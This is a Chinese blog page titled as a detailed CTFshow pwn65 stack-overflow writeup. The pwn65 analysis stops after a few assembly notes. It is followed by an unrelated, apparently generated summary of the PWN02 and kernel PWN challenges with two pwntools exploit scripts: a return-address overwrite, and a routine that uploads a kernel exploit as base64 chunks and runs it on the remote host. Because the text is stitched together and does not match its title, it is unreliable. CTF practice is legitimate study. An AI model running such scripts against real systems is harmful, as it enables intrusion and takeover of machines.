CTFshow-PWN-栈溢出(pwn65 详细版)

36 篇文章 ¥99.90 ¥299.90

检查一下:64 位程序,存在 PIE 保护,程序中存在 RWX 段

无法反编译

直接看汇编

调用 read 读取 0x400 到 buf

如果读入数据长度大于 0 就跳转到 loc_11AC

否则跳到 locret_1254,函数直接结束

可以看到 loc_11AC 中 将 var_4 置零后,跳到 loc_123A

继续看 loc_123A,判断 0 是否小于读入字节数,满足则跳转到 loc_11B8

CTFShow平台PWN题的解题思路和过程在不同题目中有所不同。以CTFSHOW PWN02为例,解题脚本通过`pwn`库进行操作。脚本根据`contect`变量的值来选择是本地运行程序还是远程连接目标服务器。构造了长度为13个字节的`a`字符的`payload`,并拼接上函数地址`0X804850F`,将其发送给目标程序,最后进入交互模式与程序进行交互,可能是通过溢出覆盖返回地址来执行指定函数,以达到解题目的[^1]。 对于CTFShow PWN入门的Kernel PWN 356 - 360相关题目,解题脚本先将本地的`exp`文件内容进行Base64编码,然后分块发送到远程服务器上的`/tmp/b64_exp`文件中。接着将Base64编码的内容解码成可执行文件`/tmp/exploit`,为其添加执行权限,最后执行该文件并进入交互模式。该过程可能是利用内核漏洞,通过上传并执行本地编写的漏洞利用脚本,来获取远程服务器的控制权[^3]。 ### 代码示例 CTFSHOW PWN02解题脚本: ```python from pwn import * contect = 1 def main(): if contect == 0: p = process("./stack") else: p = remote("pwn.challenge.ctf.show", 28103) payload = b'a' * 13 payload += p32(0X804850F) p.sendline(payload) p.interactive() main() ``` CTFShow PWN入门Kernel PWN相关题目的解题脚本: ```python from pwn import * import base64 context.log_level = "debug" with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) p = remote("pwn.challenge.ctf.show", 28304) p.recvuntil(b"$ ") p.sendline(b"ls") count = 0 for i in range(0, len(exp), 0x200): p.recvuntil(b"/ $ ") p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp") count += 1 log.info("count: " + str(count)) p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit") p.sendline("chmod +x /tmp/exploit") p.sendline("/tmp/exploit ") p.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值